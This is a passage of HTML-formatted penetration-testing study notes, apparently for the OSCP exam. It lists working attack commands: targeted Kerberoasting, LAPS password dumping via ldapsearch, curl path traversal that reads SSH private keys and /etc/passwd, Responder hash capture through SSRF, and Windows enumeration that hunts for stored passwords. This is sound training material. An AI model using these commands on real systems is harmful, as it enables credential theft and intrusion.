controller&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[domain_realm]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.your.domain.com = YOUR.DOMAIN.COM # Domain mapping&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Other settings can remain unchanged:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;kdc_timesync&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ccache_type&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;forwardable&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;proxiable&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rdns&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;These control Kerberos behavior and usually do not need modification.&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# If BloodHound shows GenericWrite over a user, that user&amp;#39;s SPN can be modified&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Then obtain a TGT; this is an interesting technique&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;targetedKerberoast.py -v -d &amp;#39;hokkaido-aerospace.com&amp;#39; -u &amp;#39;hrapp-service&amp;#39; -p &amp;#39;Untimed$Runny&amp;#39; --dc-ip 192.168.208.40&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://wadcoms.github.io/wadcoms/targetedKerberoast/&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;targetedKerberoast differs from ordinary Kerberoasting:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Ordinary Kerberoasting:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershellCopy# Any domain user can run this&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-DomainUser -SPN # Enumerate all SPNs&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Rubeus.exe kerberoast # Request tickets for all SPNs&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Targeted Kerberoasting:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Requires GenericWrite permission&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Can temporarily add an SPN to a normal user&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Remove the SPN after obtaining the ticket&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This can be found in BloodHound&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The current user has ReadLAPSPassword permission&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This allows reading local-administrator passwords for domain machines&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldapsearch -v -c -D username@domain.com -w password -b &amp;#34;DC=domain,DC=com&amp;#34; -H ldap://DC_IP &amp;#34;(ms-MCS-AdmPwd=*)&amp;#34; ms-MCS-AdmPwd&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldapsearch -v -c -D fmcsorley@hutch.offsec -w CrabSharkJellyfish192 -b &amp;#34;DC=hutch,DC=offsec&amp;#34; -H ldap://$IP &amp;#34;(ms-MCS-AdmPwd=*)&amp;#34; ms-MCS-AdmPwd&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="100some-oscp-details"&gt;&lt;a href="#100some-oscp-details" class="header-anchor"&gt;&lt;/a&gt;100.Some OSCP Details&#10;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Arbitrary File Read&lt;/strong&gt;&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;Arbitrary file reads are mostly useful for grabbing important data such as SSH private keys. Reading one in a browser can mangle its formatting, though. I had run into this before and never found a good solution—I would guess the line lengths and add the line breaks one by one. OSCP called out a much cleaner approach.&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;It turns out that curl is all you need.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../home/offsec/.ssh/id_rsa&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;--path-as-is&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;This argument prevents curl from normalizing ../../ into /&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Directory Wordlists for Testing&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Windows\System32\drivers\etc\hosts&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Windows\System32\drivers\etc\hosts&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\inetpub\wwwroot\web.config&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\inetpub\logs\LogFiles\W3SVC1\&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Apache 2.4.49 Directory Traversal Vulnerability&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://192.168.50.16/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd --path-as-is&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl http://192.168.50.16/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/opt/passwd --path-as-is&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;responder&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ip a&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo responder -I tun0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo responder -I tun0 -v&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;An interesting case&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;When a domain host has an SSRF vulnerability, I usually make it send an HTTP request to the attacker machine&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;HTTP requests usually require no authentication, so they do not carry HTLM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SMB and WebDAV do carry it and can be combined with a pseudo-protocol&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;file:////192.168.45.184/share&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Or WebDAV&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;http://192.168.45.184/share&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h5 id="situational-awareness-and-information-gathering-very-important-for-windows-privilege-escalation"&gt;&lt;a href="#situational-awareness-and-information-gathering-very-important-for-windows-privilege-escalation" class="header-anchor"&gt;&lt;/a&gt;Situational Awareness and Information Gathering (Very Important) for Windows Privilege Escalation&#10;&lt;/h5&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;span class="lnt"&gt;39&#10;&lt;/span&gt;&lt;span class="lnt"&gt;40&#10;&lt;/span&gt;&lt;span class="lnt"&gt;41&#10;&lt;/span&gt;&lt;span class="lnt"&gt;42&#10;&lt;/span&gt;&lt;span class="lnt"&gt;43&#10;&lt;/span&gt;&lt;span class="lnt"&gt;44&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# All groups to which the current user belongs&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;whoami /groups&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershell&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Local users, enabled status, and descriptions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-LocalUser&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Local groups&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-LocalGroup&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Use the group name above as an argument to view its members&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-LocalGroupMember adminteam&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Routing table&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;route print&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View all applications&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ItemProperty &amp;#34;HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*&amp;#34; | select displayname&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View processes&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-Process&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Similar to find; the approach is useful&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-ChildItem -Path C:\Users\dave\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Transcript files may contain credentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Users\Public\Transcripts\transcript01.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Search history&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;(Get-PSReadlineOption).HistorySavePath&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Files that may contain passwords&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Users\All Users\Microsoft\UEV\InboxTemplates\RoamingCredentialSettings.xml&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Users\dave\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView\ZxcvbnData\3.0.0.0\passwords.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Users\dave\AppData\Local\Packages\MicrosoftTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView\ZxcvbnData\3.0.0.0\passwords.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Existing services&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# This filters out services that are not running&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like &amp;#39;Running&amp;#39;}&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Show all services&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-CimInstance -ClassName win32_service | Select Name,State,PathNam&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# View file permissions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;icacls &amp;#34;C:\xampp\apache\bin\httpd.exe&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;table&gt;&#10;&#9;&lt;thead&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th style="text-align: left"&gt;Mask&lt;/th&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;th style="text-align: left"&gt;Permissions&lt;/th&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/thead&gt;&#10;&#9;&lt;tbody&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td style="text-align: left"&gt;F&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td style="text-align: left"&gt;Full access&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td style="text-align: left"&gt;M&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td style="text-align: left"&gt;Modify access&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td style="text-align: left"&gt;RX&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td style="text-align: left"&gt;Read and execute access&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td style="text-align: left"&gt;R&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td style="text-align: left"&gt;Read-only access&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&#9;&#9;&lt;tr&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td style="text-align: left"&gt;W&lt;/td&gt;&#10;&#9;&#9;&#9;&#9;&#9;&lt;td style="text-align: left"&gt;Write-only access&lt;/td&gt;&#10;&#9;&#9;&#9;&lt;/tr&gt;&#10;&#9;&lt;/tbody&gt;&#10;&lt;/table&gt;&#10;&lt;p&gt;When replacing a service executable, you can compile one yourself.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;adduser.c&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span 